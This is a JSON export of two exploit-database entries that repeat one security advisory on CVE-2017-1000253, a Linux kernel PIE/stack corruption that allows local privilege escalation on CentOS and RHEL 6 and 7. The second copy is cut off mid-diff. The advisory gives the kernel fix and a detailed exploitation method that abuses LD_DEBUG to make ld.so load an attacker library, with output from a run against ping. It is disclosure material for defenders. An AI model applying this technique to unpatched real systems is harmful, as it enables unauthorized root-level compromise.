{"zdt": [{"lastseen": "2018-02-16T05:17:43", "bulletinFamily": "exploit", "description": "Exploit for linux platform in category remote exploits", "modified": "2017-10-05T00:00:00", "published": "2017-10-05T00:00:00", "href": "https://0day.today/exploit/description/28745", "id": "1337DAY-ID-28745", "title": "CentOS 7 before 1708 PIE/stack corruption Vulnerability", "type": "zdt", "sourceData": "Linux PIE/stack corruption (CVE-2017-1000253)\r\n\r\n\r\n========================================================================\r\nContents\r\n========================================================================\r\n\r\nSummary\r\nAnalysis\r\nExploitation\r\nAcknowledgments\r\n\r\n\r\n========================================================================\r\nSummary\r\n========================================================================\r\n\r\nLinux distributions that have not patched their long-term kernels with\r\nhttps://git.kernel.org/linus/a87938b2e246b81b4fb713edb371a9fa3c5c3c86\r\n(committed on April 14, 2015) are vulnerable to CVE-2017-1000253, a\r\nLocal Privilege Escalation.\r\n\r\nMost notably, all versions of CentOS 7 before 1708 (released on\r\nSeptember 13, 2017), all versions of Red Hat Enterprise Linux 7 before\r\n7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red\r\nHat Enterprise Linux 6 are exploitable.\r\n\r\n\r\n========================================================================\r\nAnalysis\r\n========================================================================\r\n\r\n------------------------------------------------------------------------\r\nPre-Stack-Clash kernels\r\n------------------------------------------------------------------------\r\n\r\nOccasionally, we have noticed a strange behavior with PIEs\r\n(Position-Independent Executables) on CentOS 7:\r\n\r\nLinux localhost.localdomain 3.10.0-514.21.1.el7.x86_64 #1 SMP Thu May 25 17:04:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux\r\n\r\n7ffbad3b3000-7ffbad56a000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad56a000-7ffbad769000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad769000-7ffbad76d000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad76d000-7ffbad76f000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad76f000-7ffbad774000 rw-p 00000000 00:00 0 \r\n7ffbad774000-7ffbad794000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad967000-7ffbad98b000 rw-p 00000000 00:00 0 \r\n7ffbad990000-7ffbad991000 rw-p 00000000 00:00 0 \r\n7ffbad991000-7ffbad993000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbad993000-7ffbad994000 r--p 0001f000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad994000-7ffbad995000 rw-p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad995000-7ffbad996000 rw-p 00000000 00:00 0 \r\n7ffbad996000-7ffbad998000 r-xp 00000000 fd:00 4194375 /tmp/PIE\r\n7ffbad999000-7ffbadb97000 rw-p 00000000 00:00 0 [stack]\r\n7ffbadb97000-7ffbadb98000 r--p 00001000 fd:00 4194375 /tmp/PIE\r\n7ffbadb98000-7ffbadbb9000 rw-p 00002000 fd:00 4194375 /tmp/PIE\r\n7ffbadbba000-7ffc0d9ba000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\nrsp 0x7ffbad9a0978\r\n\r\nIn this example, the kernel's execve() code erroneously mapped the PIE's\r\nread-write segment into the stack memory region, thus corrupting and\r\ndividing the stack into three parts:\r\n\r\n- 7ffbad999000-7ffbadb97000, the lowest part of the stack, is where the\r\n stack pointer (rsp) points to, after execve() returns to the userland;\r\n\r\n- 7ffbadb97000-7ffbadbb9000, the middle part of the stack, was replaced\r\n by the PIE's read-write segment (7ffbadb97000-7ffbadb98000 was later\r\n mprotect()ed read-only by RELRO), and hence a write to this part of\r\n the stack smashes the PIE's read-write segment, and vice versa;\r\n\r\n- 7ffbadbba000-7ffc0d9ba000, the highest part of the stack, is\r\n incorrectly displayed as the \"[heap]\" in /proc/pid/maps (because the\r\n program brk() points there), but is correctly flagged as a stack in\r\n /proc/pid/smaps (the \"gd\" flag, \"grows down\").\r\n\r\nThis kernel vulnerability was fixed in April 2015 by commit\r\na87938b2e246b81b4fb713edb371a9fa3c5c3c86 (backported to Linux 3.10.77 in\r\nMay 2015), but it was not recognized as a security threat. This fix was\r\ntherefore not backported to long-term distributions such as CentOS:\r\n\r\n------------------------------------------------------------------------\r\n\r\nFrom: Michael Davidson <[email\u00a0protected]>\r\nDate: Tue, 14 Apr 2015 15:47:38 -0700\r\nSubject: fs/binfmt_elf.c: fix bug in loading of PIE binaries\r\n\r\nWith CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down\r\naddress allocation strategy, load_elf_binary() will attempt to map a PIE\r\nbinary into an address range immediately below mm->mmap_base.\r\n\r\nUnfortunately, load_elf_ binary() does not take account of the need to\r\nallocate sufficient space for the entire binary which means that, while\r\nthe first PT_LOAD segment is mapped below mm->mmap_base, the subsequent\r\nPT_LOAD segment(s) end up being mapped above mm->mmap_base into the are\r\nthat is supposed to be the \"gap\" between the stack and the binary.\r\n\r\nSince the size of the \"gap\" on x86_64 is only guaranteed to be 128MB this\r\nmeans that binaries with large data segments > 128MB can end up mapping\r\npart of their data segment over their stack resulting in corruption of the\r\nstack (and the data segment once the binary starts to run).\r\n\r\nAny PIE binary with a data segment > 128MB is vulnerable to this although\r\naddress randomization means that the actual gap between the stack and the\r\nend of the binary is normally greater than 128MB. The larger the data\r\nsegment of the binary the higher the probability of failure.\r\n\r\nFix this by calculating the total size of the binary in the same way as\r\nload_elf_interp().\r\n\r\nSigned-off-by: Michael Davidson <[email\u00a0protected]>\r\nCc: Alexander Viro <[email\u00a0protected]>\r\nCc: Jiri Kosina <[email\u00a0protected]>\r\nCc: Kees Cook <[email\u00a0protected]>\r\nCc: <[email\u00a0protected]>\r\nSigned-off-by: Andrew Morton <[email\u00a0protected]>\r\nSigned-off-by: Linus Torvalds <[email\u00a0protected]>\r\n---\r\n fs/binfmt_elf.c | 9 ++++++++-\r\n 1 file changed, 8 insertions(+), 1 deletion(-)\r\n\r\ndiff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c\r\nindex 995986b..d925f55 100644\r\n--- a/fs/binfmt_elf.c\r\n+++ b/fs/binfmt_elf.c\r\n@@ -862,6 +862,7 @@ static int load_elf_binary(struct linux_binprm *bprm)\r\n i < loc->elf_ex.e_phnum; i++, elf_ppnt++) {\r\n int elf_prot = 0, elf_flags;\r\n unsigned long k, vaddr;\r\n+ unsigned long total_size = 0;\r\n \r\n if (elf_ppnt->p_type != PT_LOAD)\r\n continue;\r\n@@ -924,10 +925,16 @@ static int load_elf_binary(struct linux_binprm *bprm)\r\n #else\r\n load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);\r\n #endif\r\n+ total_size = total_mapping_size(elf_phdata,\r\n+ loc->elf_ex.e_phnum);\r\n+ if (!total_size) {\r\n+ error = -EINVAL;\r\n+ goto out_free_dentry;\r\n+ }\r\n }\r\n \r\n error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,\r\n- elf_prot, elf_flags, 0);\r\n+ elf_prot, elf_flags, total_size);\r\n if (BAD_ADDR(error)) {\r\n retval = IS_ERR((void *)error) ?\r\n PTR_ERR((void*)error) : -EINVAL;\r\n\r\n------------------------------------------------------------------------\r\n\r\nUnfortunately, this vulnerability is not limited to the PIEs whose\r\nread-write segment is larger than 128MB. Indeed, 128MB is the minimum\r\ndistance between the mmap_base and the highest address of the stack, not\r\nthe lowest address of the stack (CVE-2017-1000379): consequently, and as\r\nshown in our Stack Clash advisory, if we pass 1.5GB of argument strings\r\nto execve(), then any PIE may be mapped directly below the stack (and\r\ntrigger CVE-2017-1000253) with a probability of ~1/17331 (5 hours on\r\naverage, if each run takes 1 second).\r\n\r\n------------------------------------------------------------------------\r\nPost-Stack-Clash kernels\r\n------------------------------------------------------------------------\r\n\r\nAs a proof-of-concept, we will publish CVE-2017-1000253.c, an exploit\r\nfor ping on CentOS-7 kernel versions \"3.10.0-514.21.2.el7.x86_64\" and\r\n\"3.10.0-514.26.1.el7.x86_64\" (the first kernel updates after the Stack\r\nClash). The PIE/stack layout on these post-Stack-Clash kernels differs\r\nslightly from the layout on pre-Stack-Clash kernels, since the size of\r\nthe stack guard-page was increased from 4KB to 1MB:\r\n\r\nLinux localhost.localdomain 3.10.0-514.26.1.el7.x86_64 #1 SMP Thu Jun 29 16:05:25 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux\r\n\r\n7ffba9ee4000-7ffbaa09b000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa09b000-7ffbaa29a000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa29a000-7ffbaa29e000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa29e000-7ffbaa2a0000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa2a0000-7ffbaa2a5000 rw-p 00000000 00:00 0 \r\n7ffbaa2a5000-7ffbaa2c5000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa499000-7ffbaa4bd000 rw-p 00000000 00:00 0 \r\n7ffbaa4c2000-7ffbaa4c3000 rw-p 00000000 00:00 0 \r\n7ffbaa4c3000-7ffbaa4c5000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbaa4c5000-7ffbaa4c6000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa4c6000-7ffbaa4c7000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa4c7000-7ffbaa4c8000 rw-p 00000000 00:00 0 \r\n7ffbaa4c8000-7ffbaa4ca000 r-xp 00000000 fd:00 4194375 /tmp/PIE\r\n7ffbaa5ca000-7ffbaa6c9000 rw-p 00000000 00:00 0 \r\n7ffbaa6c9000-7ffbaa6ca000 r--p 00001000 fd:00 4194375 /tmp/PIE\r\n7ffbaa6ca000-7ffbaa6eb000 rw-p 00002000 fd:00 4194375 /tmp/PIE\r\n7ffbaa7eb000-7ffc0a6eb000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\nrsp 0x7ffbaa6d1c18\r\n\r\nIn this example, the kernel's execve() code also mapped the PIE's\r\nread-write segment into the stack memory region, and divided the stack\r\ninto three parts, but:\r\n\r\n- 7ffbaa5ca000-7ffbaa6c9000, the lowest part of the stack, is not\r\n displayed as the \"[stack]\" in /proc/pid/maps (because rsp does not\r\n point there), but is correctly flagged as a stack in /proc/pid/smaps;\r\n\r\n- 7ffbaa6c9000-7ffbaa6eb000, the middle part of the stack, was replaced\r\n by the PIE's read-write segment, and is where rsp points to, after\r\n execve() returns to the userland;\r\n\r\n- 7ffbaa7eb000-7ffc0a6eb000, the highest part of the stack, is (again)\r\n incorrectly displayed as the \"[heap]\" in /proc/pid/maps, but is\r\n correctly flagged as a stack in /proc/pid/smaps.\r\n\r\nOlder kernels (such as \"3.10.0-514.21.1.el7.x86_64\") and newer kernels\r\n(such as \"3.10.0-514.26.2.el7.x86_64\"), other distributions and other\r\nprivileged PIEs (including SUID-root PIEs), are also exploitable, but\r\nthe exploitation method must be adapted to slightly different PIE/stack\r\nlayouts. This is left as an exercise for the interested reader.\r\n\r\n\r\n========================================================================\r\nExploitation\r\n========================================================================\r\n\r\nOur CVE-2017-1000253.c exploit for CentOS-7 kernel versions\r\n\"3.10.0-514.21.2.el7.x86_64\" and \"3.10.0-514.26.1.el7.x86_64\" is very\r\nsimilar to our stack-clash exploit Linux_ldso_dynamic.c (we smash the\r\nPIE's .dynamic section with a stack-based string operation, and force\r\nld.so to load and execute our own shared library), but with two\r\nimportant differences:\r\n\r\n- we do not need to jump over the stack guard-page, because rsp\r\n naturally points into the PIE's read-write segment after we trigger\r\n CVE-2017-1000253;\r\n\r\n- on 64-bit, all .dynamic tags contain null-bytes, a serious problem if\r\n we want to smash the .dynamic section with a null-terminated string.\r\n\r\nTo solve this problem, we smash the .dynamic section with multiple calls\r\nto process_dl_debug(), a function called by process_envvars() very early\r\nin dl_main(), before elf_get_dynamic_info() parses the .dynamic section.\r\nprocess_dl_debug() is called for each LD_DEBUG environment variable, and\r\ncalls strndupa() (strnlen(), alloca(), memcpy()) for each unknown option\r\nin LD_DEBUG, thus allowing us to smash the .dynamic section with\r\nmultiple null-terminated strings, and hence multiple null-bytes.\r\n\r\nUnfortunately, the .dynamic entries that we build on the stack with\r\nprocess_dl_debug():\r\n\r\n- DT_SYMTAB (tag 0x0000000000000006, value unused);\r\n\r\n- DT_STRTAB (tag 0x0000000000000005), an offset (into the PIE's\r\n read-execute segment) to our own .dynstr section -- this is later\r\n transformed by elf_get_dynamic_info() into an absolute address,\r\n allowing us to bypass ASLR;\r\n\r\n- DT_NEEDED (tag 0x0000000000000001), an offset (into our .dynstr\r\n section) to the pathname of our own shared library -- we use offset\r\n 0x238+1 into the PIE's read-execute segment, where the string\r\n \"lib64/ld-linux-x86-64.so.2\" is always stored;\r\n\r\n- DT_NULL (tag 0x0000000000000000, value unused);\r\n\r\nare partially destroyed by the stack-frames of further function calls\r\n(_dl_error_printf(), for example). Our solution to this problem is very\r\nspecific to CentOS 7, and restricts this particular exploit to the PIEs\r\nwhose .dynamic section's address modulo 16 is equal to 8:\r\n\r\n- we build our .dynamic tags through a stack variable used by memcpy()\r\n to store the address modulo 16 of the unknown options in LD_DEBUG;\r\n\r\n- we store our .dynamic values in an unused slot of process_dl_debug()'s\r\n stack-frame.\r\n\r\nOne last, unexpected problem with this particular exploit is that rsp\r\ncan never point into the highest part of the stack (after the kernel's\r\nexecve() code divided the stack into three parts): indeed, the kernel's\r\npage-fault handler would then try to insert a stack guard-page below the\r\nhighest part of the stack, and would SIGKILL our process because the\r\nPIE's read-write segment is already mapped there.\r\n\r\nThe solution to this problem is simple, but further restricts this\r\nparticular exploit to the PIEs whose read-write segment is large enough\r\nto encompass rsp: the kernel's page-fault handler will not try to insert\r\na stack guard-page there, because the PIE's read-write segment is not\r\nflagged as a stack (VM_GROWSDOWN). For example, on a default, minimal\r\nCentOS 7, ping is privileged (cap_net_admin and cap_net_raw) and\r\nexploitable:\r\n\r\n[[email\u00a0protected] tmp]$ getcap -r / 2>/dev/null\r\n/usr/bin/ping = cap_net_admin,cap_net_raw+p\r\n...\r\n\r\n[[email\u00a0protected] tmp]$ readelf -a /usr/bin/ping\r\n...\r\n Type Offset VirtAddr PhysAddr\r\n FileSiz MemSiz Flags Align\r\n...\r\n LOAD 0x000000000000da58 0x000000000020da58 0x000000000020da58\r\n 0x0000000000000988 0x00000000000241e8 RW 200000\r\n DYNAMIC 0x000000000000da78 0x000000000020da78 0x000000000020da78\r\n 0x0000000000000240 0x0000000000000240 RW 8\r\n...\r\n\r\n[[email\u00a0protected] tmp]$ ./CVE-2017-1000253 /usr/bin/ping\r\nargv_size 101903\r\nsmash_size 36864\r\nhi_smash_size 18432\r\nlo_smash_size 18432\r\nprobability 1/16028\r\ntry 1 1.409649 exited 2\r\ntry 2 1.097508 exited 2\r\ntry 3 1.060084 exited 2\r\ntry 4 1.059042 exited 2\r\ntry 5 1.090841 exited 2\r\ntry 6 1.068993 exited 2\r\ntry 7 1.093662 exited 2\r\n...\r\ntry 3411 1.018799 exited 2\r\ntry 3412 1.022255 exited 2\r\ntry 3413 1.022062 exited 2\r\ntry 3414 1.061316 exited 2\r\ntry 3415 1.024066 exited 2\r\ntry 3416 1.024864 exited 2\r\ntry 3417 1.043867 exited 2\r\nPid: 6301\r\nUid: 1000 1000 1000\r\nGid: 1000 1000 1000\r\nCapInh: 0000000000000000\r\nCapPrm: 0000000000003000\r\nCapEff: 0000000000000000\r\n\r\n[[email\u00a0protected] tmp]# cat /proc/6301/status\r\nName: ping\r\n...\r\nPid: 6301\r\n...\r\nUid: 1000 1000 1000 1000\r\nGid: 1000 1000 1000 1000\r\n...\r\nCapInh: 0000000000000000\r\nCapPrm: 0000000000003000\r\nCapEff: 0000000000000000\r\n...\r\n\r\n[[email\u00a0protected] tmp]# cat /proc/6301/maps\r\n7ffbc573d000-7ffbc58f4000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc58f4000-7ffbc5af3000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af3000-7ffbc5af7000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af7000-7ffbc5af9000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af9000-7ffbc5afe000 rw-p 00000000 00:00 0 \r\n7ffbc5afe000-7ffbc5aff000 r-xp 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5aff000-7ffbc5cfe000 ---p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5cfe000-7ffbc5cff000 r--p 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5cff000-7ffbc5d00000 rw-p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5d00000-7ffbc5d20000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f15000-7ffbc5f18000 rw-p 00000000 00:00 0 \r\n7ffbc5f1c000-7ffbc5f1e000 rw-p 00000000 00:00 0 \r\n7ffbc5f1e000-7ffbc5f20000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbc5f20000-7ffbc5f21000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f21000-7ffbc5f22000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f22000-7ffbc5f23000 rw-p 00000000 00:00 0 \r\n7ffbc5f23000-7ffbc5f31000 r-xp 00000000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6031000-7ffbc6130000 rw-p 00000000 00:00 0 \r\n7ffbc6130000-7ffbc6131000 r--p 0000d000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6131000-7ffbc6132000 rw-p 0000e000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6132000-7ffbc6155000 rw-p 00000000 00:00 0 [stack]\r\n7ffbc6255000-7ffc29988000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\n\r\n[[email\u00a0protected] tmp]# gdb /usr/bin/ping 6301\r\n...\r\n(gdb) x/16384xg 0x7ffbc6130000 + 8\r\n0x7ffbc6130008: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130018: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130028: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130038: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130048: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130058: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130068: 0x4141414141414141 0x4141414141414141\r\n...\r\n0x7ffbc6132678: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132688: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132698: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326a8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326b8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326d8: 0x4141414141414141 0x00007ffbc6132700\r\n0x7ffbc61326e8: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc61326f8: 0x0000000000000005 0x888908844e7ab888\r\n0x7ffbc6132708: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132718: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132728: 0x0041414141414141 0x00007ffbc6132740\r\n0x7ffbc6132738: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132748: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132758: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132768: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132778: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132788: 0x4141414141414141 0x00007ffbc6132700\r\n0x7ffbc6132798: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc61327a8: 0x0000000000000001 0x77777777777779b1\r\n0x7ffbc61327b8: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61327c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61327d8: 0x0041414141414141 0x00007ffbc61327f0\r\n0x7ffbc61327e8: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61327f8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132808: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132818: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132828: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132838: 0x4141414141414141 0x00007ffbc6132800\r\n0x7ffbc6132848: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc6132858: 0x0000000000000006 0x4848c8440e3a7848\r\n0x7ffbc6132868: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132878: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132888: 0x0000000000000000 0x00007ffbc61328a0\r\n0x7ffbc6132898: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61328a8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328b8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328d8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328e8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328f8: 0x4141414141414141 0x4141414141414141\r\n...\r\n(gdb) x/s 0x888908844e7ab888 + 0x77777777777779b1\r\n0x7ffbc5f23239: \"lib64/ld-linux-x86-64.so.2\"\r\n\r\n\r\n========================================================================\r\nAcknowledgments\r\n========================================================================\r\n\r\nWe thank Red Hat and the members of the [email\u00a0protected] list.\n\n# 0day.today [2018-02-16] #", "cvss": {"score": 5.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "sourceHref": "https://0day.today/exploit/28745"}, {"lastseen": "2018-04-08T01:44:19", "bulletinFamily": "exploit", "description": "A Linux PIE/stack corruption vulnerability exists. Most notably, all versions of CentOS 7 before 1708 (released on September 13, 2017), all versions of Red Hat Enterprise Linux 7 before 7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red Hat Enterprise Linux 6 are exploitable.", "modified": "2017-09-28T00:00:00", "published": "2017-09-28T00:00:00", "href": "https://0day.today/exploit/description/28653", "id": "1337DAY-ID-28653", "title": "Linux Local Privilege Escalation Vulnerability", "type": "zdt", "sourceData": "Linux PIE/stack corruption (CVE-2017-1000253)\r\n\r\n\r\n========================================================================\r\nContents\r\n========================================================================\r\n\r\nSummary\r\nAnalysis\r\nExploitation\r\nAcknowledgments\r\n\r\n\r\n========================================================================\r\nSummary\r\n========================================================================\r\n\r\nLinux distributions that have not patched their long-term kernels with\r\nhttps://git.kernel.org/linus/a87938b2e246b81b4fb713edb371a9fa3c5c3c86\r\n(committed on April 14, 2015) are vulnerable to CVE-2017-1000253, a\r\nLocal Privilege Escalation.\r\n\r\nMost notably, all versions of CentOS 7 before 1708 (released on\r\nSeptember 13, 2017), all versions of Red Hat Enterprise Linux 7 before\r\n7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red\r\nHat Enterprise Linux 6 are exploitable.\r\n\r\n\r\n========================================================================\r\nAnalysis\r\n========================================================================\r\n\r\n------------------------------------------------------------------------\r\nPre-Stack-Clash kernels\r\n------------------------------------------------------------------------\r\n\r\nOccasionally, we have noticed a strange behavior with PIEs\r\n(Position-Independent Executables) on CentOS 7:\r\n\r\nLinux localhost.localdomain 3.10.0-514.21.1.el7.x86_64 #1 SMP Thu May 25 17:04:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux\r\n\r\n7ffbad3b3000-7ffbad56a000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad56a000-7ffbad769000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad769000-7ffbad76d000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad76d000-7ffbad76f000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad76f000-7ffbad774000 rw-p 00000000 00:00 0 \r\n7ffbad774000-7ffbad794000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad967000-7ffbad98b000 rw-p 00000000 00:00 0 \r\n7ffbad990000-7ffbad991000 rw-p 00000000 00:00 0 \r\n7ffbad991000-7ffbad993000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbad993000-7ffbad994000 r--p 0001f000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad994000-7ffbad995000 rw-p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad995000-7ffbad996000 rw-p 00000000 00:00 0 \r\n7ffbad996000-7ffbad998000 r-xp 00000000 fd:00 4194375 /tmp/PIE\r\n7ffbad999000-7ffbadb97000 rw-p 00000000 00:00 0 [stack]\r\n7ffbadb97000-7ffbadb98000 r--p 00001000 fd:00 4194375 /tmp/PIE\r\n7ffbadb98000-7ffbadbb9000 rw-p 00002000 fd:00 4194375 /tmp/PIE\r\n7ffbadbba000-7ffc0d9ba000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\nrsp 0x7ffbad9a0978\r\n\r\nIn this example, the kernel's execve() code erroneously mapped the PIE's\r\nread-write segment into the stack memory region, thus corrupting and\r\ndividing the stack into three parts:\r\n\r\n- 7ffbad999000-7ffbadb97000, the lowest part of the stack, is where the\r\n stack pointer (rsp) points to, after execve() returns to the userland;\r\n\r\n- 7ffbadb97000-7ffbadbb9000, the middle part of the stack, was replaced\r\n by the PIE's read-write segment (7ffbadb97000-7ffbadb98000 was later\r\n mprotect()ed read-only by RELRO), and hence a write to this part of\r\n the stack smashes the PIE's read-write segment, and vice versa;\r\n\r\n- 7ffbadbba000-7ffc0d9ba000, the highest part of the stack, is\r\n incorrectly displayed as the \"[heap]\" in /proc/pid/maps (because the\r\n program brk() points there), but is correctly flagged as a stack in\r\n /proc/pid/smaps (the \"gd\" flag, \"grows down\").\r\n\r\nThis kernel vulnerability was fixed in April 2015 by commit\r\na87938b2e246b81b4fb713edb371a9fa3c5c3c86 (backported to Linux 3.10.77 in\r\nMay 2015), but it was not recognized as a security threat. This fix was\r\ntherefore not backported to long-term distributions such as CentOS:\r\n\r\n------------------------------------------------------------------------\r\n\r\nFrom: Michael Davidson <[email\u00a0protected]>\r\nDate: Tue, 14 Apr 2015 15:47:38 -0700\r\nSubject: fs/binfmt_elf.c: fix bug in loading of PIE binaries\r\n\r\nWith CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down\r\naddress allocation strategy, load_elf_binary() will attempt to map a PIE\r\nbinary into an address range immediately below mm->mmap_base.\r\n\r\nUnfortunately, load_elf_ binary() does not take account of the need to\r\nallocate sufficient space for the entire binary which means that, while\r\nthe first PT_LOAD segment is mapped below mm->mmap_base, the subsequent\r\nPT_LOAD segment(s) end up being mapped above mm->mmap_base into the are\r\nthat is supposed to be the \"gap\" between the stack and the binary.\r\n\r\nSince the size of the \"gap\" on x86_64 is only guaranteed to be 128MB this\r\nmeans that binaries with large data segments > 128MB can end up mapping\r\npart of their data segment over their stack resulting in corruption of the\r\nstack (and the data segment once the binary starts to run).\r\n\r\nAny PIE binary with a data segment > 128MB is vulnerable to this although\r\naddress randomization means that the actual gap between the stack and the\r\nend of the binary is normally greater than 128MB. The larger the data\r\nsegment of the binary the higher the probability of failure.\r\n\r\nFix this by calculating the total size of the binary in the same way as\r\nload_elf_interp().\r\n\r\nSigned-off-by: Michael Davidson <[email\u00a0protected]>\r\nCc: Alexander Viro <[email\u00a0protected]>\r\nCc: Jiri Kosina <[email\u00a0protected]>\r\nCc: Kees Cook <[email\u00a0protected]>\r\nCc: <[email\u00a0protected]>\r\nSigned-off-by: Andrew Morton <[email\u00a0protected]>\r\nSigned-off-by: Linus Torvalds <[email\u00a0protected]>\r\n---\r\n fs/binfmt_elf.c | 9 ++++++++-\r\n 1 file changed, 8 insertions(+), 1 deletion(-)\r\n\r\ndiff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c\r\nindex 995986b..d925f55 100644\r\n--- a/fs/binfmt_elf.c\r\n+++ b/fs/binfmt_elf.c\r\n@@ -862,6 +862,7 @@ static int load_elf_binary(struct linux_binprm *bprm)\r\n i < loc->elf_ex.e_phnum; i++, elf_ppnt++) {\r\n int elf_prot = 0, elf_flags;\r\n unsigned long k, vaddr;\r\n+ unsigned long total_size = 0;\r\n \r\n if (elf_ppnt->p_type != PT_LOAD)\r\n continue;\r\n@@ -924,10 +925,16 @@ static int load_elf_binary(struct linux_binprm *bprm)\r\n #else\r\n load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);\r\n #endif\r\n+ total_size = total_mapping_size(elf_phdata,\r\n+ loc->elf_ex.e_phnum);\r\n+ if (!total_size) {\r\n+ error = -EINVAL;\r\n+ goto out_free_dentry;\r\n+ }\r\n }\r\n \r\n error = elf_map(bprm->file, 